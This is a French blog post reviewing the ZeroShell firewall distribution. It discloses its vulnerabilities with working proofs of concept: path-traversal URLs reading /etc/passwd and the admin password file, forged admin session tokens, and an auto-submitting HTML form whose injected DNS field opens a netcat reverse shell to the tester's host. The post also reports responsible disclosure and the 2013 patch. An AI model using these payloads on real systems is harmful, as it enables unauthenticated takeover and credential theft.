Introduction
Dans la continuité des évaluations des routeurs/firewall basés sur des distributions Linux et orientés sécurité, voici le tour de ZeroShell.
Zeroshell est une distribution Linux créée dans le but d’être très complète conçue pour fournir des services réseaux sécurisés dans un réseau local. Elle a été développée par Fulvio Ricciardi pour être totalement administrable via une interface web. Fournie sous forme de Live CD, elle s’initialise en insérant le CD dans la machine cible et en la redémarrant. La connexion à l’interface d’administration se fait via un navigateur web pour ensuite configurer les services réseaux.
Fonctionnalités
Comme la plupart de ses cousines, ZeroShell offre un large panel de fonctionnalités, dont voici un extrait :
- Routeur statique.
- Routeur NAT (Network address translation) pour pouvoir utiliser des adresses IP privées masquées derrière l’adresse IP publique du fournisseur d’accès Internet. La redirection de ports associé à l’adresse IP publique vers une IP et un port d’un poste du réseau local est possible.
- Protocole de routage RIPV2 (Routing information protocol) pour configuration dynamique des tables de routage.
- Pare-feu, pour filtrage des paquets avec fonction SPI (Stateful Packet Inspection) pour filtrer en fonction de l’état de la connexion.
- Captive portal dont le but est d’autoriser l’accès au réseau via une authentification web adossée à un serveur Kerberos. Cette fonction est très utile pour sécuriser un réseau sans demander aucune configuration sur les postes clients.
- VPN LAN-to-LAN, pour interconnecter deux réseaux locaux via Internet en encapsulant les trames Ethernet.
- VPN Host-to-LAN, pour permettre à des postes clients de se connecter au réseau local via internet.
- Authentification Radius, pour autoriser l’accès au réseau via des points d’accès Wi-Fi.
- Serveur DNS multi-zones, pour définir sa propre zone DNS et les enregistrements associés.
- Client DynDNS si on a besoin d’un nom DNS pour atteindre le routeur.
- Serveur DHCP pour assigner automatiquement des adresses IP aux postes clients qui le demandent.
- Qualité de service, pour hiérarchiser la priorité et même la bande passante attribuée à chacun des types de trafic qui traversent Zeroshell. Configuré en mode pont, Zeroshell est ainsi très utile même pour une connexion internet familiale pour donner la priorité aux applications voix (de type Skype) et chat sur d’autres applications (téléchargement etc…).
- VLAN à utiliser avec des switches supportant les VLAN. On peut ainsi par exemple dans un campus, créer un VLAN dédié aux points d’accès WIFI et centraliser la gestion de l’authentification par captive portal sur Zeroshell.
- Administration web (sécurisé par filtrage sur IP),
- Accès SSH (sécurisé par filtrage sur IP).
- Serveur proxy avec fonction de proxy transparent, intégrant un anti-virus.
- équilibrage de charge et tolérance de pannes par l’usage de plusieurs connexion internet.
- Pont 802.1d avec protocole Spanning Tree pour éviter les boucles dues aux chemins redondants;
- Connexion UMTS/HSDPA par modem 3G;
Analyse de la solution
Je me suis bien évidemment intéressé à cette distribution, son fonctionnement interne et sa potentielle sécurité. Il en résulte qu’en quelques heures d’analyse, diverses vulnérabilités peuvent être exploitée pour mettre à mal le firewall/routeur, et d’en prendre un contrôle total.
Remarques générales
Toute la solution est administrable au travers d’une interface web. Ce WebGUI est en réalité un fichier binaire du nom de “kerbynet”, interprété dans le répertoire “cgi-bin” du serveur apache. Ce fichier est localisé en lecture seule ici :
[bash]/cdrom/usr/local/apache2/cgi-bin/kerbynet[/bash]
L’ensemble des urls faites vers la WebGUI respecte la forme suivante :
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=<SECTION>&STk=<SESSION_TOKEN>&Action=<ACTION>&<PARAM>=<ADDITIONAL PARAM>[/bash]
Le fichier binaire “kerbynet” effectue un routage des paramètres GET/POST vers des scripts dédiés aux traitements à réaliser sur le firewall/routeur. Ces scripts, qui sont pour la plupart des scripts sh, sont localisés dans le répertoire :
[bash]/root/kerbynet.cgi/scripts/[/bash]
Le WebGUI dispose également de fichiers “template”, centralisés dans :
[bash]/root/kerbynet.cgi/template/[/bash]
Toutes les opérations d’administrations nécessitent au préalable que l’utilisateur “admin” se soit authentifié sur l’interface. Ce compte “admin” peut être utilisé dans la WebGUI, en SSH ou en mode console. Une fois la connexion WebGUI d’établie avec ce compte, un jeton de session (token) est généré et transite entre chaque page d’administration sans lequel les requêtes ne peuvent aboutir.
Il y a toutefois quelques pages qui ne nécessite pas de jeton de session, comme la page de la licence GPL du produit, ou encore l’accès aux certificats X.509.
L’ensemble du WebGUI tourne sous l’utilisateur “apache” qui s’avère bridé par rapport au compte root. Toutefois cet utilisateur dispose d’un grand nombre de privilège, puisqu’il accède notamment (lecture/écriture/exécution) aux fichiers de l’interface web se trouvant dans /root. Un fichier recence toutes les commandes d’administration que l’utilisateur apache peut réaliser (sudoers NO PASSWD) :
[bash]cat /root/kerbynet.cgi/template.cfg/sudoers[/bash]
La plupart des scripts qui exécutent les tâches d’administration par le biais du WebGUI ne sont pas protégés quand à l’injection arbitraire de commande. Dans la suite de cet article, seul un PoC d’exécution de commande arbitraire est détaillé, mais la plupart des scripts sont vulnérables de la même manière. Les variables GET/POST qui sont transférées aux scripts ne sont pas convenablement nettoyées.
Liste des vulnérabilités identifiées
Parmi les vulnérabilités décelées et qui sont présentées dans le PoC de cet article, on dénombre :
- Local File Disclosure : lecture du contenu des fichiers locaux de la distribution (en fonction des droits d’accès), le tout sans être authentifié à l’interface web d’administration.
- Génération de jeton de session d’administration valide, afin d’accéder à l’interface d’administration sans connaissances des accès.
- Reverse-shell : récupération d’un reverse-shell complet sur la distribution, sans s’être authentifié
- Admin password retrieval : récupération en clair du mot de passe d’administration associé au compte “admin”, utilisable dans l’interface WebGUI, en SSH ou via la console (root)
Local File Disclosure
La page “About” du produit se situe à l’adresse suivante :
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=About[/bash]
Cette url ne comportre aucun jeton de session, et peut donc être consultée sans authentification. Après une recherche de la licence GPL sur le système de fichier, celui-ci est stocké dans :
[bash]/root/kerbynet.cgi/template/About[/bash]
Il apparaît nettement qu’une vulnérabilité de lecture de fichier locaux est présente :
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../etc/passwd[/bash]
Génération du jeton de session d’administration
Comme dit précédemment, toutes les opérations d’administration de ZeroShell nécessitent qu’une authentification au compte “admin” soit faite. Une fois connecté, un jeton de session transite entre chaque page pour valider les requêtes. Ce jeton est stocké:
- En paramètre GET du nom de “STk” comme “Session Token”, exemple : “9c00c5f06808b45a89e858d1954088f118f188a7”
- En “input” de formulaire de type “hidden” et de nom “STk” également
Je me suis par conséquent plongé dans le mécanisme interne du routeur/firewall concernant la génération de ce jeton. Cette génération s’effectue dans divers scripts :
[bash]</p><br /><br />
<p>/root/kerbynet.cgi/scripts/net_showinterface:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"<br /><br /><br />
/root/kerbynet.cgi/scripts/qos_showinterface:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"<br /><br /><br />
/root/kerbynet.cgi/scripts/vpn_list:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"<br /><br /><br />
/root/kerbynet.cgi/scripts/net_list:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"<br /><br /><br />
/root/kerbynet.cgi/scripts/qos_list:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"<br /><br /><br />
/root/kerbynet.cgi/scripts/storage_netDB:STk="`rand“cat /tmp/STk_Admin 2>/dev/null`"</p><br /><br />
<p>[/bash]
Ce jeton de session est donc généré à partir de la fonction “rand”, qui retourne 8 chiffres aléatoires, et via le contenu du fichier “/tmp/STk_Admin”. Ce fichier “/tmp/STk_Admin” n’est créé que si une connexion au compte “admin” via la WebGUI a déjà été réalisée.
En exploitant la vulnérabilité local file disclosure détaillée précédemment, il est possible de récupérer le contenu de ce fichier :
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../tmp/STk_Admin[/bash]
Pour forger un hash de session d’administration valide (STk), il suffit de faire précéder ce hash de 8 chiffres de votre choix :
[bash]13371337d5b4310596800b81c5a84a92287d2b13[/bash]
Une fois ce hash généré, il est directement utilisable via les URLs suivantes pour accéder aux pages d’administrations sans connaissance du mot de passe (ces pages sont normalement chargées dans un frameset) :
Menu de gauche
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=sx[/bash]
Menu d’utilitaires
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=utilities_menu[/bash]
Menu d’en-tête
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?STk=<GENERATED_SESSION_ID>&Action=Render&Object=head[/bash]
Remote Command Execution – Reverse-shell
Pour cette étape, il est nécessaire qu’un jeton de session d’administration (généré via la méthode précédente ou non) soit en votre possession. Tous les formulaires HTML de l’interface WebGUI envoient en définitive leurs données à des scripts SH (via le binaire “kerbynet”). Ces données ne sont hélas pas suffisamment validées et nettoyées. Il est ainsi possible d’altérer l’exécution légitime des scripts avec des commandes arbitraires.
Dans l’exemple présent, la commande arbitraire exécutée sur la distribution est de lancer un netcat via une fifo pour obtenir un reverse-shell du côté du pentester.
Le pentester commence par mettre son propre netcat en écoute :
[bash]nc -l -vv -p [PENTESTER_PORT][/bash]
Puis, il suffit de lancer le script HTML suivant dans son navigateur, après avoir édité :
- [PENTESTER_IP] : l’ip du pentester vers laquelle ZeroShell va transmettre son shell
- [PENTESTER_PORT] : le port netcat en écoute sur la machine du pentester
- [ZEROSHELL_IP] : l’ip/nom d’hôte du ZeroShell ciblé
- [GENERATED_SESSION_ID] : le jeton de session capturé ou généré
[html]</p><br /><br />
<p><html><br /><br /><br />
<body><br /><br /><br />
<form name=’x’ action=’http://[ZEROSHELL_IP]/cgi-bin/kerbynet’ method=’post’><br /><br /><br />
<input type=’hidden’ name=’Action’ value=’Lookup’ /><br /><br /><br />
<input type=’hidden’ name=’STk’ value='[GENERATED_SESSION_ID]’ /><br /><br /><br />
<input type=’hidden’ name=’Section’ value=’DNS’ /><br /><br /><br />
<input type=’hidden’ name=’What’ value=’yanncam" localhost && rm -f /tmp/x;mkfifo /tmp/x;cat /tmp/x|/bin/sh -i 2>&1|nc [PENTESTER_IP] [PENTESTER_PORT] > /tmp/x #’ /><br /><br /><br />
<input type=’hidden’ name=’DNS’ value=’localhost’ /><br /><br /><br />
</form><br /><br /><br />
<script>document.forms[‘x’].submit();</script><br /><br /><br />
</body><br /><br /><br />
</html></p><br /><br />
<p>[/html]
ZeroShell dispose nativement de netcat. Toutefois la version de nc présente ne permet pas d’exploiter le flag -e ou -c, d’où l’utilisation d’un chaînage via mkfifo. Pour plus d’information quand à l’utilisation et les variantes des commandes de reverse-shell, se référer à l’article dédié.
Admin password retrieval
Pour finir cette série de problèmes de sécurité qui ont été identifiés, il est possible de récupérer en clair le mot de passe associé au compte “admin” de ZeroShell. Ce compte permet de se connecter en tant qu’administrateur au WebGUI ainsi qu’en root via SSH et/ou console.
Le fait de disposer du mot de passe et donc d’un accès au WebGUI permet bien évidemment d’obtenir un jeton de session valide, afin d’établir un reverse-shell comme détaillé précédemment.
Après une brève analyse du mécanisme du WebGUI pour “changer le mot de passe d’administration”, il s’avère que c’est le script suivant qui est appelé :
[bash]/root/kerbynet.cgi/scripts/cpw[/bash]
Dans le cas où le mode de changement de mot de passe est de “vérifier le vieux password au préalable”, cette ligne du script est exécutée :
[bash]if [ "$CPW" != "`cat $REGISTER/system/ldap/rootpw 2>/dev/null`" ] ; then[/bash]
On peut facilement en déduire que le mot de passe courant est stocké dans “$REGISTER/system/ldap/rootpw”, où “$REGISTER” vaut “/var/register” d’après le fichier “/etc/kerbynet.conf”.
En conséquence, on peut lire le contenu de ce fichier sans être authentifié sur le routeur/firewall via la vulnérabilité de local file disclosure détaillée plus haut.
[bash]http://<ZEROSHELL_IP>/cgi-bin/kerbynet?Section=NoAuthREQ&Action=Render&Object=../../../var/register/system/ldap/rootpw[/bash]
Vidéo PoC de démonstration
Une vidéo de démonstration des différents PoC a été réalisée.
[youtube]https://www.youtube.com/watch?v=fgbfVBr65e4[/youtube]
Conclusion et notes de fin
Le développeur en charge de ZeroShell a été alerté le 20 mai 2013, et celui-ci a répondu très aimablement le jour même. Nous avons échangé quelques mails pour déterminer les causes et techniques de protection à appliquer. Le développeur m’a indiqué qu’une nouvelle release allait apparaître au début du mois suivant (juin). Fin juin je me suis permis de revenir aux nouvelles, la release est planifiée pour début juillet. Finalement celle-ci vient tout juste de voir le jour, début août, où un patch correctif de sécurité est également disponible :
With the release 2.0.RC3 of Zeroshell some security issues have been corrected. Specifically, now the DNS works as cache and accepts recursive queries only for local networks if not configured otherwise. Recently, the DNS fully opened are being used to carry out DDoS attacks resulting in bandwidth consumption. For this reason, the migration to 2.0.RC3 is strongly recommended.
No-IP has been added as a provider for dynamic DNS and the recognition of 3G USB modems has been enhanced. You can now disable the virus scan of web pages resulting in improved performance of the transparent proxy on modest hardware.
Several fixes have been applied on the procedure for Backup and Restore of the profiles.
Ce n’est hélas pas la distribution que je vais choisir mon sécuriser mon infrastructure interne, dû a ces quelques faiblesses relativement critiques. Non pas qu’elle soit incomplète en termes de fonctionnalité, mais l’aspect sécurité n’est pas suffisamment travaillé à mon sens. Je vous déconseille son déploiement dans des environnements critiques en attendant qu’elle soit améliorée.
Je remercie Fulvio Ricciardi pour sa courtoisie et le travail qu’il semble réaliser en solitaire sur cette distribution, et ce, depuis plusieurs années. Je vous invite à installer la RC3 ou à déployer le dernier patch de sécurité du 07 août 2013 pour réduire le risque de vulnérabilité de vos ZeroShell respectifs.
Pour finir, je finirai sur la petite touche humoristique du nom de cette distribution orientée sécurité, “ZeroShell”, par rapport à cet article 🙂 !